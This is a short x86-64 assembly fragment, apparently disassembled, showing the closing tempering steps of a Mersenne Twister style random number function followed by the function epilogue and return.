xor dword [rbp - 4], eax
mov eax, dword [rbp - 4]
shl eax, 0xf
and eax, 0xefc60000
xor dword [rbp - 4], eax
mov eax, dword [rbp - 4]
shr eax, 0x12
xor dword [rbp - 4], eax
mov eax, dword [rbp - 4]
add rsp, 0x30
pop rbp
ret